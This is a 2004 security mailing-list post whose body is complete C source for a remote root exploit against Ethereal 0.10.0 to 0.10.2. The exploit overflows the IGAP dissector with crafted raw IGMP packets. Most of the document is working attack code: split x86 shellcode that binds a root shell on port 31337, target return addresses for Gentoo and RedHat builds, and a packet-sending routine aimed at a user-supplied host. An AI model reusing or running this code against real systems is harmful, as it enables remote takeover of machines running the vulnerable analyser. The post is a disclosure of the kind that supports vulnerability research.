Ethereal(v0.10.0-0.10.2) IGAP Dissector Message Overflow Exploit
Date: Sun, 28 Mar 2004 07:09:20 +0800
From: Eye on Security India <[email protected]>
To: [email protected]
Subject: Ethereal(v0.10.0-0.10.2) IGAP Dissector Message Overflow Exploit
/*
* THE EYE ON SECURITY RESEARCH GROUP - INDIA
* Ethereal IGAP Dissector Message Overflow Remote Root exploit
*
* Copyright 2004 - EOS-India Group
*
* Authors note:
* Shellcode splitting technique:
* Due to difficulty involved while following normal exploitation techniques due to shortage of memory space
* for our shellcode, we used the technique of shellcode splitting. In this technique one part of the shellcode
* is kept before the buffer which overwrites the saved EIP on stack followed by a jmp OFFSET instruction which
* jumps EIP to the second half of the shellcode which is kept after return address. Also since our shellcode
* requires EBP to contain a usuable stack address, we overwrite saved EBP also.
*
* Disclaimer:
* This code is for educational purpose and testing only. The Eye on Security Research Group - India, cannot
* be held responsible for any damage caused due to misuse of this code.
* This code is a proof of concept exploit for a serious vulnerability that exists in Ethereal 0.10.0 to
* Ethereal 0.10.2.
*
* Nilanjan De [n2n+linuxmail.org] - Abhisek Datta [abhisek+front.ru]
* http://www.eos-india.net
*
*/
#define IPPROTO_IGAP 0x02 // IPPROTO_IGMP=0x02
#define PAYLOAD_SIZE (255-64)
#define MAX_BUFF sizeof(struct igap_header)+sizeof(struct ipheader)
#define EXP "Ethereal(v0.10.0-0.10.2) IGAP Dissector Message Overflow Exploit"
#define VER "0.2"
#define SOCKET_ERROR -1
#define MAX_PACKET 10
#define RETOFFSET 76
#define SRC_IP "192.31.33.7"
#include <stdio.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#define MAX_ARCH 5
struct eos{
char *arch;
unsigned long ret;
} targets[] = {
"tEthereal(0.10.2)-Gentoo(gdb)",
0xbffede50,
//-------------------------------
"tEthereal(0.10.2)-Gentoo ",
0xbffede10,
//-------------------------------
"Ethereal(0.10.2)-Gentoo ",
0xbfffd560,
//-------------------------------
"tEthereal(0.10.2)-RedHat 8 ",
0xbffedfb8,
//-------------------------------
"Ethereal(0.10.2)-RedHat 8 ",
0xbfffcd08,
//-------------------------------
NULL,
0
};
/*
x86 linux portbind a shell in port 31337
based on shellcode from www.shellcode.com.ar
with a few modifications by us
*/
char shellcode_firsthalf[]=
/* sys_fork() */
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\xb0\x02" // movb $0x2,%al
"\xcd\x80" // int $0x80
"\x38\xc3" // cmpl %ebx,%eax
"\x74\x05" // je 0x5
/* sys_exit() */
"\x8d\x43\x01" // leal 0x1(%ebx),%eax
"\xcd\x80" // int $0x80
/* setuid(0) */
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\xb0\x17" // movb $0x17,%al
"\xcd\x80" // int $0x80
/* socket() */
"\x31\xc0" // xorl %eax,%eax
"\x89\x45\x10" // movl %eax,0x10(%ebp)(IPPROTO_IP = 0x0)
"\x40" // incl %eax
"\x89\xc3" // movl %eax,%ebx(SYS_SOCKET = 0x1)
"\x89\x45\x0c" // movl %eax,0xc(%ebp)(SOCK_STREAM = 0x1)
"\x40" // incl %eax
"\x89\x45\x08" // movl %eax,0x8(%ebp)(AF_INET = 0x2)
"\x8d\x4d\x08" // leal 0x8(%ebp),%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x89\x45\x08" // movl %eax,0x8(%ebp)
;
char jumpcode[]="\xeb\x10";
char shellcode_secondhalf[]=
/* bind()*/
"\x43" // incl %ebx(SYS_BIND = 0x2)
"\x66\x89\x5d\x14" // movw %bx,0x14(%ebp)(AF_INET = 0x2)
"\x66\xc7\x45\x16\x7a\x69" // movw $0x697a,0x16(%ebp)(port=31337)
"\x31\xd2" // xorl %edx,%edx
"\x89\x55\x18" // movl %edx,0x18(%ebp)
"\x8d\x55\x14" // leal 0x14(%ebp),%edx
"\x89\x55\x0c" // movl %edx,0xc(%ebp)
"\xc6\x45\x10\x10" // movb $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
/* listen() */
"\x40" // incl %eax
"\x89\x45\x0c" // movl %eax,0xc(%ebp)
"\x43" // incl %ebx
"\x43" // incl %ebx(SYS_LISTEN = 0x4)
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
/* accept() */
"\x43" // incl %ebx
"\x89\x45\x0c" // movl %eax,0xc(%ebp)
"\x89\x45\x10" // movl %eax,0x10(%ebp)
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x89\xc3" // movl %eax,%ebx
/* dup2() */
"\x31\xc9" // xorl %ecx,%ecx
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // incl %ecx
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jne -0xa
/* execve() */
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80"; // int $0x80
struct ipheader {
unsigned char ip_hl:4, ip_v:4;
unsigned char ip_tos;
unsigned short int ip_len;
unsigned short int ip_id;
unsigned short int ip_off;
unsigned char ip_ttl;
unsigned char ip_proto;
unsigned short int ip_sum;
unsigned int ip_src;
unsigned int ip_dst;
};
struct igap_header { // This is a malformed header which does not conforms with IGAP RFC
unsigned char igap_type; // Message Type
unsigned char igap_restime; // Response Time
unsigned short int igap_cksum; // IGAP Message Checksum
unsigned int igap_gaddr; // Group Address
unsigned char igap_ver; // Version
unsigned char igap_stype; // SubType
unsigned char igap_reserved1; // Reserved
unsigned char igap_cid; // Challenge ID
unsigned char igap_asize; // Account Size
unsigned char igap_msgsize; // Message Size
unsigned short int igap_reserved2; // Reserved
/*
unsigned char igap_uaccount[16];// User Account
unsigned char igap_message[64] // Message
*/
unsigned char igap_payload[16+64+PAYLOAD_SIZE]; // This buffer will contain payload, here we differ from RFC by sending a bigger message.
};
unsigned short checksum(unsigned short *buf,int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *(buf)++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
void showhelp(char *pr00gie) {
int i=0;
printf("######### The Eye on Security Research Group - India ########\n");
printf("%s %s\n",EXP,VER);
printf("abhisek[at]front[dot]ru - n2n[at]linuxmail[dot]org\n");
printf("http://www.eos-india.net\n\n");
printf("[usage]\n");
printf("%s [Remote Host] [Target]\n",pr00gie);
printf("[Available Targets]\n");
while(targets[i].arch != NULL) {
printf("%d. - %s\t - %p\n",(i),targets[i].arch,targets[i].ret);
i++;
}
exit(1);
}
int main(int argc,char *argv[]) {
char buffer[MAX_BUFF];
struct ipheader *iphdr=(struct ipheader*)buffer;
struct igap_header *igaphdr=(struct igap_header*)(buffer+sizeof(struct ipheader));
int sockfd;
unsigned long addr;
int one=1;
int i;
const int *val=&one;
struct sockaddr_in sin;
unsigned long magic;
unsigned int n;
if(getuid()) {
printf("- This code opens SOCK_RAW which needs root privilege\n");
exit(1);
}
if(argc != 3)
showhelp(argv[0]);
n=atoi(argv[2]);
if(n >= MAX_ARCH) {
printf("- Invalid target\n");
showhelp(argv[0]);
}
magic=targets[n].ret;
printf("-Using RET %p\n",magic);
addr=inet_addr(argv[1]);
if(addr==INADDR_NONE) {
printf("- Invalid target\n");
exit(1);
}
sin.sin_addr.s_addr=addr;
sin.sin_family=AF_INET;
sin.sin_port=0x00;
sockfd=socket(PF_INET,SOCK_RAW,IPPROTO_RAW);
if(sockfd==SOCKET_ERROR) {
printf("- Failed creating SOCK_RAW descriptor\n");
exit(1);
}
if(setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,val,sizeof(one)) < 0)
printf ("- WARNING !! :Cannot set IP_HDRINCL!\n");
memset(buffer,0x00,MAX_BUFF);
// Filling IP Header
iphdr->ip_hl=0x05;
iphdr->ip_v=0x04;
iphdr->ip_tos=0x00;
iphdr->ip_len=MAX_BUFF;
iphdr->ip_id=htonl(54321);
iphdr->ip_off=0x00; // Lower 3 bit=Flag4Fragmentation - Higher 13 Bit=Fragment Offset
iphdr->ip_ttl=0x01;
iphdr->ip_proto=IPPROTO_IGAP; // IPPROTO_IGMP
iphdr->ip_sum=0x00; // Fill sum before sending packet
iphdr->ip_src=inet_addr (SRC_IP);
iphdr->ip_dst=addr;
// Filling IGAP Header
igaphdr->igap_type=0x41; // IGAP Membership Query
igaphdr->igap_restime=0x0a; //
igaphdr->igap_cksum=0x00; // compute before sending packet
igaphdr->igap_gaddr=0x00; // Ignored in IGAP Membership Query Message
igaphdr->igap_ver=0x01; // IGAPv1
igaphdr->igap_stype=0x21; // Basic Query
igaphdr->igap_reserved1=0x00; // Ignored
igaphdr->igap_cid=0x00; // Challenge ID (ignored because Chanllenge Response authentication not used)
igaphdr->igap_asize=0x10; // MAX Size of Account Name Field
igaphdr->igap_msgsize=0x40+PAYLOAD_SIZE; // Size of Message
igaphdr->igap_reserved2=0x00; // Reserved
// Building exploit buffer
//for(i=0;i<16+64+PAYLOAD_SIZE;i++)
// memset(igaphdr->igap_payload+i,(unsigned char)i,1);
memset(igaphdr->igap_payload,0x90,16+64+PAYLOAD_SIZE);
memcpy(igaphdr->igap_payload+16+RETOFFSET-strlen(shellcode_firsthalf)-8,shellcode_firsthalf,strlen(shellcode_firsthalf));
memcpy(igaphdr->igap_payload+16+64+RETOFFSET-strlen(jumpcode)-4,jumpcode,strlen(jumpcode));
memcpy(igaphdr->igap_payload+16+64+RETOFFSET,&magic,4);
magic-=0x10;
memcpy(igaphdr->igap_payload+16+64+RETOFFSET-4,&magic,4);
memcpy(igaphdr->igap_payload+16+64+PAYLOAD_SIZE-strlen(shellcode_secondhalf)-1,shellcode_secondhalf,strlen(shellcode_secondhalf));
// Calculating checksum
igaphdr->igap_cksum=checksum((unsigned short*)(buffer+sizeof(struct ipheader)),(sizeof(struct igap_header))>>1);
iphdr->ip_sum = checksum ((unsigned short*)buffer,(iphdr->ip_len)>>1);
// Sending
one=MAX_PACKET;
while(one) {
sendto(sockfd,buffer,MAX_BUFF,0,(struct sockaddr*)&sin,sizeof(sin));
printf(".");
one--;
}
close(sockfd);
printf("\n- Send %d packets to %s\n",MAX_PACKET,argv[1]);
printf("- Read source to know what to do to check if the exploit worked\n");
return 0;
}
--
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